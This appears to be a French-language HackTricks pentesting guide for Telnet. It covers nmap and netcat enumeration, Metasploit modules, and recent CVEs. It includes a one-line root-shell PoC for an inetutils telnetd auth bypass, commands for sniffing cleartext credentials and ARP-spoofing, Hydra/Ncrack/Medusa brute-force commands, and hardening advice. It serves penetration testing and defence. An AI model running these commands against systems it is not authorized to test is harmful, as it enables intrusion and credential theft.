23 - Pentesting Telnet

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Telnet est un protocole réseau qui offre aux utilisateurs un moyen non sécurisé d’accéder à un ordinateur via un réseau.

Port par défaut : 23

23/tcp open  telnet

Enumeration

nc -vn <IP> 23

Toute l’enumeration intéressante peut être effectuée par nmap:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Le script telnet-ntlm-info.nse obtiendra des informations NTLM (versions Windows).

From the telnet RFC: In the TELNET Protocol are various “options” that will be sanctioned and may be used with the “DO, DON’T, WILL, WON’T” structure to allow a user and server to agree to use a more elaborate (or perhaps just different) set of conventions for their TELNET connection. Such options could include changing the character set, the echo mode, etc.

Je sais qu’il est possible d’énumérer ces options mais je ne sais pas comment, donc dites‑moi si vous savez comment.

Énumérer les options / fonctionnalités Telnet

Telnet utilise les négociations IAC + DO/DONT/WILL/WONT pour activer des options. Vous pouvez observer les options supportées en capturant la négociation initiale et en sondant des fonctionnalités spécifiques.

Sondes d’options/fonctionnalités Nmap

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

Le script telnet-encryption vérifie si l’option ENCRYPT est prise en charge ; certaines implémentations traitaient historiquement mal cette option et étaient vulnérables, mais le script se contente de vérifier la prise en charge. telnet-ntlm-info divulgue des métadonnées NTLM (NetBIOS/DNS/build du système d’exploitation) lorsque Microsoft Telnet NTLM est activé. telnet-brute est un auditeur NSE de brute-force pour Telnet.

Brute force

Fichier de configuration

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Commandes automatiques

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Vulnérabilités récentes (2022-2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860) : Une validation d’entrée incorrecte dans le service telnet permet à des attaquants distants de se connecter en utilisant des identifiants codés en dur et d’injecter des commandes OS ; corrigé par le firmware 1.04B05 ou ultérieur.
  • CVE-2023-40478 – NETGEAR RAX30 : Débordement de tampon basé sur la pile dans la commande passwd de la CLI Telnet permettant une exécution de code network-adjacent en tant que root ; une authentification est requise mais peut être contournée.
  • CVE-2022-39028 – GNU inetutils telnetd : Une séquence de deux octets (0xff 0xf7 / 0xff 0xf8) peut provoquer un déréférencement de pointeur NULL dans telnetd, et des plantages répétés peuvent amener inetd à désactiver le service (DoS).

Gardez ces CVE en tête lors du triage des vulnérabilités — si la cible exécute un firmware non corrigé ou un démon Telnet inetutils ancien, vous pouvez avoir une voie directe vers l’exécution de code ou un DoS perturbateur.

CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)

Primitive : Telnet NEW_ENVIRON permet aux clients d’envoyer des variables d’environnement lors de la négociation d’options ; inetutils telnetd substitue %U dans son template de login par getenv("USER") et le passe directement à /usr/bin/login, permettant une injection d’options au niveau argv (pas d’expansion shell). Cause racine : les versions 1.9.3–2.7 étendent %U sans filtrage, donc une valeur USER commençant par - est interprétée comme un flag de login. Par exemple, %U devient -f root, produisant /usr/bin/login -h <hostname> "-f root" et sautant l’authentification via login -f.

Flux d’exploitation :

  1. Se connecter au service Telnet et négocier NEW_ENVIRON pour définir USER=-f root.
  2. telnetd construit l’argv de login incluant la valeur %U contrôlée par l’attaquant.
  3. /usr/bin/login interprète -f root comme « utilisateur root pré-authentifié » et lance un shell root.

PoC

# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>

Note de correctif : inetutils 2.7-2 introduit un helper sanitize() qui rejette les valeurs commençant par - ou contenant des espaces/caractères métas avant de les substituer dans le login argv, bloquant option injection. Détection/vérification : identifiez les daemons exposés avec telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, ou netstat -tlnp | grep :23.

Mesures d’atténuation

  • Patch/mise à niveau les paquets affectés immédiatement (p. ex., les correctifs Debian sont dans 2:2.4-2+deb12u2, 2:2.6-3+deb13u1, et 2:2.7-2).
  • Désactiver Telnet ou restreindre l’accès aux réseaux de gestion de confiance pendant la mise à jour.

Sniffing Credentials & Man-in-the-Middle

Telnet transmet tout, y compris les credentials, en clear-text. Deux méthodes rapides pour les capturer :

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Pour un MITM actif, combinez ARP spoofing (e.g. arpspoof/ettercap) avec les mêmes sniffing filters pour récupérer des passwords sur des réseaux commutés.

Brute-force automatisé / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

La plupart des botnets IoT (variantes Mirai) scannent encore le port 23 avec de petits dictionnaires d’identifiants par défaut — reproduire cette logique permet d’identifier rapidement les appareils faibles.

Exploitation & Post-Exploitation

Metasploit propose plusieurs modules utiles :

  • auxiliary/scanner/telnet/telnet_version – banner & option enumeration.
  • auxiliary/scanner/telnet/brute_telnet – multithreaded bruteforce.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE against vulnerable Solaris 9/10 Telnet (option ENCRYPT handling).
  • exploit/linux/mips/netgear_telnetenable – enables telnet service with a crafted packet on many NETGEAR routers.

Après avoir obtenu un shell, gardez à l’esprit que les TTY sont généralement peu sophistiqués ; améliorez-le avec python -c 'import pty;pty.spawn("/bin/bash")' ou utilisez les HackTricks TTY tricks.

Hardening & Detection (Blue team corner)

  1. Préférez SSH et désactivez complètement le service Telnet.
  2. Si Telnet est nécessaire, liez-le aux VLAN de management uniquement, appliquez des ACL et restreignez l’accès au démon via TCP wrappers (/etc/hosts.allow).
  3. Remplacez les anciennes implémentations de telnetd par ssl-telnet ou telnetd-ssl pour ajouter le chiffrement de transport, mais cela ne protège que les données en transit — le devinage/bruteforce de mots de passe reste trivial.
  4. Surveillez le trafic sortant vers le port 23 ; les compromissions génèrent souvent des reverse shells via Telnet pour contourner des filtres de sortie HTTP stricts.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks